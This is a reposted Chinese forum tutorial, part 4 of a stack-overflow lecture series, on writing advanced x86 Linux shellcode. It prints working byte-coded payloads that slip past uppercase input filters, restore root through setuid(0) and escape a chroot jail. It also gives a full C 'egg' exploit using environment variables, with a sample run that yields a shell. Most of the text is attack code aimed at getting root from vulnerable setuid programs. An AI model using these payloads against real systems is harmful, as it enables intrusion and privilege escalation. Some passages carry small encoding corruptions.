标题:
[转帖]堆栈溢出系列讲座(4)
[打印本页]
作者:
青蛙
时间:
2007-1-8 20:24
标题:
[转帖]堆栈溢出系列讲座(4)
堆栈溢出系列讲座(4)(转) 复杂的shellcode 前面几讲,我们已经有了基本的堆栈溢出知识,可以编写基本的shellcode了。这一讲, 我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。 复杂shellcode的产生是由于有一定防范措施的的目标程序。(所谓道高一尺,魔高一丈) 。以下分类讨论几种情况。注意,下面的分类是不全面的,也不可能穷尽所有的情况, 只是提供一些例子来阐明修改shellcode的技巧。 1:输入的溢出字符串被预处理 比如,如果敌人在自己的程序里面加入如下代码,就可抑制前面提到的堆栈溢出的攻击: ------------------------------------------------------------------------ 。。。。。。 for(i=0;i
=toupper(argv[1]
); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^加入的代码 。。。。。。 strcpy(buffer,argv[1]); ------------------------------------------------------------------------ 显然,由于toupper函数对输入进行了过滤处理,/bin/sh变成了\BIN\SH,UNIX系统是 大小写敏感的,因此execve系统调用不会成功。自然得不到shell。 怎么办?我们可以修改shellcode,使他不包含ascII为0x60--0x7a的字符。我们把 /bin/sh的每一个字母都减去0x50,得到"\x2f\x12\x19\x1e\x2f\x23\x18",在shellcode 里面再把它们改回来。 另外,指令"\x89\x76\x08"/* movl %esi,0x8(%esi) */ 也有问题字符\x76.我们可以把他改成其他的等价指令。比如改成: "movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)". 新的shellcode如下: char shellcode[]= "\xeb\x38"/* jmp 0x38*/ "\x5e"/* popl %esi */ "\x80\x46\x01\x50"/* addb $0x50,0x1(%esi)*/ "\x80\x46\x02\x50"/* addb $0x50,0x2(%esi)*/ "\x80\x46\x03\x50"/* addb $0x50,0x3(%esi)*/ "\x80\x46\x05\x50"/* addb $0x50,0x5(%esi)*/ "\x80\x46\x06\x50"/* addb $0x50,0x6(%esi)*/ "\x89\xf0"/* movl %esi,%eax*/ "\x83\xc0\x08"/* addl $0x8,%eax*/ "\x89\x46\x08"/* movl %eax,0x8(%esi) */ "\x31\xc0"/* xorl %eax,%eax*/ "\x88\x46\x07"/* movb %eax,0x7(%esi) */ "\x89\x46\x0c"/* movl %eax,0xc(%esi) */ "\xb0\x0b"/* movb $0xb,%al */ "\x89\xf3"/* movl %esi,%ebx*/ "\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c"/* leal 0xc(%esi),%edx */ "\xcd\x80"/* int $0x80 */ "\x31\xdb"/* xorl %ebx,%ebx*/ "\x89\xd8"/* movl %ebx,%eax*/ "\x40"/* inc %eax*/ "\xcd\x80"/* int $0x80 */ "\xe8\xc3\xff\xff\xff"/* call -0x3d*/ "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised*/ 好,一个新的shellcode,绕过了预处理器的检查。我们可以用这种方法解决那些 不允许有某些字符集合的预处理检查。比如不允许!@#$%^;*的,等等。 2:对付seteuid(getuid()) 有的程序在开始的时候seteuid(getuid()),然后在需要的时候才进行 setuid(0)。这样就可以在发生堆栈溢出的时候由于euid!=0而使我们只能得到普通shell ? 当你搞定了一个setuid位的程序,却发现只得到了普通用户shell的时候,就很可 能是这种情况。 但是,如果我们在自己的shellcode里面加上setuid(0),就一样可以得到 rootshell。 我们写一个带有setuid的程序,用gcc -static 编译,使用gdb来试验: (gdb) disassemble setuid Dump of assembler code for function __setuid: 0x804ca00 <__setuid>: movl %ebx,%edx 0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx 0x804ca06 <__setuid+6>: movl $0x17,%eax 0x804ca0b <__setuid+11>:int$0x80 0x804ca0d <__setuid+13>:movl %edx,%ebx 0x804ca0f <__setuid+15>:cmpl $0xfffff001,%eax 0x804ca14 <__setuid+20>:jae0x804cc10 <__syscall_error> 0x804ca1a <__setuid+26>:ret 0x804ca1b <__setuid+27>:nop 0x804ca1c <__setuid+28>:nop 0x804ca1d <__setuid+29>:nop 0x804ca1e <__setuid+30>:nop 0x804ca1f <__setuid+31>:nop End of assembler dump. 我们可以用b/bx指令得到:setuid(0)的汇编代码: ------------------------------------------------------------------------ char code[]= "\x31\xc0"/* xorl %eax,%eax*/ "\x31\xdb"/* xorl %ebx,%ebx*/ "\xb0\x17"/* movb $0x17,%al*/ "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ 把这段代码加到标准shellcode中jmp的前面就可以了。 (注意,最好不要加到jmp的后面,因为还要重新计算偏移,而且如果期间有堆栈操作, 就把string的返回地址冲掉了) new shellcode ------------------------------------------------------------------------ char shellcode[]= "\x31\xc0"/* xorl %eax,%eax*/ "\x31\xdb"/* xorl %ebx,%ebx*/ "\xb0\x17"/* movb $0x17,%al*/ "\xcd\x80"/* int $0x80 */ "\xeb\x1f"/* jmp 0x1f*/ "\x5e"/* popl %esi */ "\x89\x76\x08"/* movl %esi,0x8(%esi) */ "\x31\xc0"/* xorl %eax,%eax*/ "\x88\x46\x07"/* movb %eax,0x7(%esi) */ "\x89\x46\x0c"/* movl %eax,0xc(%esi) */ "\xb0\x0b"/* movb $0xb,%al */ "\x89\xf3"/* movl %esi,%ebx*/ "\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c"/* leal 0xc(%esi),%edx */ "\xcd\x80"/* int $0x80 */ "\x31\xdb"/* xorl %ebx,%ebx*/ "\x89\xd8"/* movl %ebx,%eax*/ "\x40"/* inc %eax*/ "\xcd\x80"/* int $0x80 */ "\xe8\xdc\xff\xff\xff"/* call -0x24*/ "/bin/sh";/* .string \"/bin/sh\" */ ------------------------------------------------------------------------ 3:敌人把root的根目录给改掉了 有的程序chroot了(比如/home/ftp),我们B.O之后只能在指定的目录里面打转。 结果我们的/bin/sh变成了/home/ftp/bin/sh,当然不会存在。execve执行sh必然失败。 我们可以进行如下操作:以找回root的根目录\。 mkdir("sh"); chroot("sh"); chroot("../../../../../../../"); 它们的汇编代码为: mkdir("sh",0755); code ------------------------------------------------------------------------ /* mkdir first argument is %ebx and second argument is */ /* %ecx. */ char code[]= "\x31\xc0"/* xorl %eax,%eax*/ "\x31\xc9"/* xorl %ecx,%ecx*/ "\xb0\x27"/* movb $0x27,%al*/ "\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */ /* %esi has to reference "/bin/sh" before using this */ /* instruction. This instruction load address of "sh"*/ /* and store at %ebx */ "\xfe\xc5"/* incb %ch*/ /* %cx = 0000 0001 0000 0000 */ "\xb0\x3d"/* movb $0xed,%cl*/ /* %cx = 0000 0001 1110 1101 */ /* %cx = 000 111 101 101 */ /* %cx = 0 7 5 5 */ "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ chroot("sh"); code ------------------------------------------------------------------------ /* chroot first argument is ebx */ char code[]= "\x31\xc0"/* xorl %eax,%eax*/ "\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */ "\xb0\x3d"/* movb $0x3d,%al*/ "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ chroot("../../../../../../../../../../../../../../../../"); code ------------------------------------------------------------------------ char code[]= "\xbb\xd2\xd1\xd0\xff"/* movl $0xffd0d1d2,%ebx */ /* disguised "../" character string*/ "\xf7\xdb"/* negl %ebx */ /* %ebx = $0x002f2e2e*/ /* intel x86 is little endian. */ /* %ebx = "../"*/ "\x31\xc9"/* xorl %ecx,%ecx*/ "\xb1\x10"/* movb $0x10,%cl*/ /* prepare for looping 16 times. */ "\x56"/* pushl %esi*/ /* backup current %esi. %esi has the pointer of*/ /* "/bin/sh".*/ "\x01\xce"/* addl %ecx,%esi*/ "\x89\x1e"/* movl %ebx,(%esi)*/ "\x83\xc6\x03"/* addl $0x3,%esi*/ "\xe0\xf9"/* loopne -0x7 */ /* make "../../../../ . . . " character string at*/ /* 0x10(%esi) by looping.*/ "\x5e"/* popl %esi */ /* restore %esi. */ "\xb0\x3d"/* movb $0x3d,%al*/ "\x8d\x5e\x10"/* leal 0x10(%esi),%ebx*/ /* %ebx has the address of "../../../../ . . . ".*/ "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ 我们把这些代码加进去: new shellcode ------------------------------------------------------------------------ char shellcode[]= "\xeb\x4f"/* jmp 0x4f*/ "\x31\xc0"/* xorl %eax,%eax*/ "\x31\xc9"/* xorl %ecx,%ecx*/ "\x5e"/* popl %esi */ "\x88\x46\x07"/* movb %al,0x7(%esi)*/ "\xb0\x27"/* movb $0x27,%al*/ "\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */ "\xfe\xc5"/* incb %ch*/ "\xb1\xed"/* movb $0xed,%cl*/ "\xcd\x80"/* int $0x80 */ "\x31\xc0"/* xorl %eax,%eax*/ "\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */ "\xb0\x3d"/* movb $0x3d,%al*/ "\xcd\x80"/* int $0x80 */ "\x31\xc0"/* xorl %eax,%eax*/ "\xbb\xd2\xd1\xd0\xff"/* movl $0xffd0d1d2,%ebx */ "\xf7\xdb"/* negl %ebx */ "\x31\xc9"/* xorl %ecx,%ecx*/ "\xb1\x10"/* movb $0x10,%cl*/ "\x56"/* pushl %esi*/ "\x01\xce"/* addl %ecx,%esi*/ "\x89\x1e"/* movl %ebx,(%esi)*/ "\x83\xc6\x03"/* addl %0x3,%esi*/ "\xe0\xf9"/* loopne -0x7 */ "\x5e"/* popl %esi */ "\xb0\x3d"/* movb $0x3d,%al*/ "\x8d\x5e\x10"/* leal 0x10(%esi),%ebx*/ "\xcd\x80"/* int $0x80 */ "\x31\xc0"/* xorl %eax,%eax*/ "\x89\x76\x08"/* movl %esi,0x8(%esi) */ "\x89\x46\x0c"/* movl %eax,0xc(%esi) */ "\xb0\x0b"/* movb $0xb,%al */ "\x89\xf3"/* movl %esi,%ebx*/ "\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c"/* leal 0xc(%esi),%edx */ "\xcd\x80"/* int $0x80 */ "\xe8\xac\xff\xff\xff"/* call -0x54*/ "/bin/sh";/* .string \"/bin/sh\" */ ------------------------------------------------------------------------ 4:敌人的buffer数组开的太小 如果敌人的strcpy(buffer,ourstring)中的buffer离 颜 顶过于接近,比如,只有12个 字节的偏移,我们的shellcode有几十个字节,如果buffer开的太小,是无法容纳下 shellcode的,结果会导致如下情况: 内存底部 内存顶部 buffer EBP ret <------ [SSS...S][S ][S ]S..SAAAAAAAAAAA ^;buffer 栈顶部 堆栈底部 看到了吗?由于buffer太小,离栈顶又太近,相对于这个短小的空间,我们的shellcode 太长了,以至于覆盖了ret,而我们猜测的返回地址(A)被迫写到了更远的地方。这样, 函数执行完,返回的时候,取出的是shellcode的某一个片断作为返回地址,跑到月球上 了。。。 为了解决这个问题,我们引入了环境变量。为了避免溢出字符串的长度大于buffer长度 的情况,我们把溢出串放在一个环境变量里面,把他的地址放在另一个环境变量里面。 这两个变量分别为: $RET = AAAAAAAAAAAAAAAAAAAAA $EGG = NNNNNNNNNNNSSSSSSSSSS 把变量RET的内容作为参数传给被测试的程序。 这里有必要解释一下linux系统中的环境变量。每一个程序在开始运行的时候,父shell 的环境变量都会在堆栈中。因此,当目标程序在一个以EGG为环境变量的shell中运行时 ,他的堆栈里面就自动继承了我们的EGG变量的内容。见下图所示: 颜欢? 堆 栈底 <参数指针>NULL<环境变量指针>NULL<参数个数><参数><环境变量> 这样,当我们用猜测的地址(A)构成的RET变量传给敌人的strcpy函数时,他的堆栈就 会被A充满。如果我们的EGG很大,那么里面的NOP就越多,自然命中的概率就越大。 overflow.c ------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset= atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can';t allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can';t allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode
; buff[bsize - 1] = ';\0';; egg[eggsize - 1] = ';\0';; //现在,egg里面内容为:NNNNNNNNNNNNNNNNNNSSS //buff里面的内容为AAAAAAAAAAAAAAAAAAA, //我们猜测的egg环境变量的开始地址。 memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); //使用 putenv 来设置EGG,RET这两个环境变量。 system("/bin/bash"); //这个bash继承了两个环境变量。 } ------------------------------------------------------------------------ 好了,来试一试: ------------------------------------------------------------------------ [nkl10]$ ./overflow 768 Using address: 0xbffffdb0 [nkl10]$ ./overflow $RET $ ------------------------------------------------------------------------
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)
Powered by Discuz! 7.2